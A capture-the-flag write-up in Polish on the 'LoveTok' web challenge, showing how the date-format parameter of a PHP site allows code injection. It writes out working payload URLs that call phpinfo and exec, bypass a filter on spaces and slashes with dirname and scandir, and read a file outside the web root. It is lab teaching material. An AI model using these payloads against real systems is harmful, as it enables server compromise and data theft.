True love is tough, and even harder to find. Once the sun has set, the lights close and the bell has rung… you find yourself licking your wounds and contemplating human existence. You wish to have somebody important in your life to share the experiences that come with it, the good and the bad. This is why we made LoveTok, the brand new service that accurately predicts in the threshold of milliseconds when love will come knockin’ (at your door). Come and check it out, but don’t try to cheat love because love cheats back. 💛
Po wejściu na stronę dostajemy relatywnie niewiele informacji. Jedynym ciekawym elementem jest przycisk, który przenosi nas na poniższą stronę oraz zmienia czas odliczania na ekranie. Perspektywa czekania na niego nie wydaje się zachęcająca.
http://ip:port/?format=r

W URI znajduje się parametr „format”. W kodzie źródłowym strony widać, że strona wykorzystuje bibliotekę moment.js. Spróbujmy jako wartość parametru wykorzystać jego nazwę i być może coś się stanie. W wyniku tego powstaje URI:
http://ip:port/?format=${format}


Tym razem w miejscu, w którym wyświetlała się data (bądź sformatowane znaki, jeśli wpisaliśmy w wartość parametru litery bądź cyfry) nie pokazuje się nic. Możemy na tym etapie stwierdzić, że wpływamy bezpośrednio na kod.
Dla potwierdzenia tezy używamy kilku różnych payloadów, a jeden z nich po wrzuceniu w url tworzył poniższy link.
http://ip:port/?format=${phpinfo()}

Atak został przeprowadzony poprawnie i wiemy już, że mamy do czynienia z phpem. Zbiegiem okoliczności jest, że zarówno javascript jak i php wykorzystują syntax „${var}” w swoim języku.
Próba wywoływania znanych metod phpa takich jak get_defined_functions kończy się bezskutecznie i dostajemy biały ekran. Na tym etapie warto cofnąć się do dokumentacji phpa:) w poszukiwaniu funkcji, które mogłyby nam pomóc uskutecznić atak.
Po sprawdzeniu dokumentacji funkcji get_defined_functions oraz phpinfo, dostajemy dwie kluczowe informacje.
phpinfo — Outputs information about PHP’s configuration,
get_defined_functions — Returns an array of all defined functions
Śmiało można stwierdzić, że dotychczasowy problem polega na wyświetlaniu wartości zwracanej drugiej funkcji. Ponownie cofamy się do dokumentacji i próbujemy użyć znalezionej funkcji „print_r,” celem wyświetlenia informacji o zmiennej. Całość działa i dostajemy oczekiwany response.
http://ip:port/?format=${print_r(get_defined_functions())}

Dostajemy 1119 funkcji wartych przeglądnięcia 🙂 Wśród nich należy wyróżnić funkcję „exec”, która wywołuje wprowadzoną przez użytkownika komendę. Używamy jej w następnej kolejności i sprawdzamy, co znajduje się w głównym folderze.
http://ip:port/?format=${print_r(exec(dir))}

Tutaj zaczyna się problem. Strona blokuje spacje i znak „/”. Nie ma więc możliwości przejścia do któregoś z folderów nazwijmy to „standardową metodą”.
Skoro strona nie posiada także żadnej oczywistej autoryzacji, możemy założyć, że ślady dotyczące flagi mogą znaleźć się poza folderem głównym strony. W związku z tym musimy znaleźć funkcje odpowiedzialne za :
- odczytanie i dostanie ścieżki folderu poprzedniego (rodzica)
- czytanie zawartości folderu o danej ścieżce
Po krótkim researchu natrafiamy na post, w którym do dostania ścieżki rodzica wykorzystano metodę dirname, a w dokumentacji phpa możemy znaleźć funkcję scandir listującą zawartość folderu.
http://ip:port/?format=?format=${print_r(dirname(dirname(dirname(__FILE__))))}

Po wejściu w powyższy link, wyświetlana jest nam ścieżka do folderu głównego. Nie mamy jednak możliwości wywoływać kolejnych funkcji jedna po drugiej w pojedynczej klamrze, w związku z czym wrzucamy je do następnych klamr poprzedzonych znaczkiem dollara.
http://ip:port/?format=${$rootFolder=dirname(dirname(dirname(__FILE__)))}${print_r(scandir($rootFolder))}

Powyżej inicjujemy zmienną rootFolder, a następnie funkcją scandir sprawdzamy jego zawartość. Otrzymujemy w ten sposób plik „flagJsrUS”, który w następnym kroku inicjujemy jako naszą zmienną flagName. Wejście w poniższy link odczytuje zawartość pliku, a tym samym otrzymujemy flagę.
http://ip:port/?format=${$rootFolder=dirname(dirname(dirname(__FILE__)))}${$flagName=flagJsrUS}${print_r(file_get_contents($rootFolder.$flagName))}
Źródła
https://www.php.net/manual/en/indexes.functions.php
https://owasp.org/www-community/attacks/Code_Injection
https://stackoverflow.com/questions/3029650/php-file-outside-doc-root-needs-files-outside-and-inside-the-document-root